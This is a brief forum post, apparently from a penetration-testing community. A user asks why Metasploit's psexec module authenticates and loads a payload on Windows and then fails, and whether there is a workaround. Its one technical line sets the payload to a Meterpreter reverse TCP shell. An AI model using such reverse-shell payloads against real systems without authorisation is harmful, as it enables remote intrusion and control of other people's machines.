Metasploit, psexec seems to work, then fails

[cilav]

I have been using psexec with get success, lately I've been getting the result below. It authens, loads the payload, then just seems to die, I'm sure this is somthing that has been patched in windows, is there a work around? Or can someone point me in the right direction to find the solution on my own?

PAYLOAD => windows/meterpreter/reverse_tcp
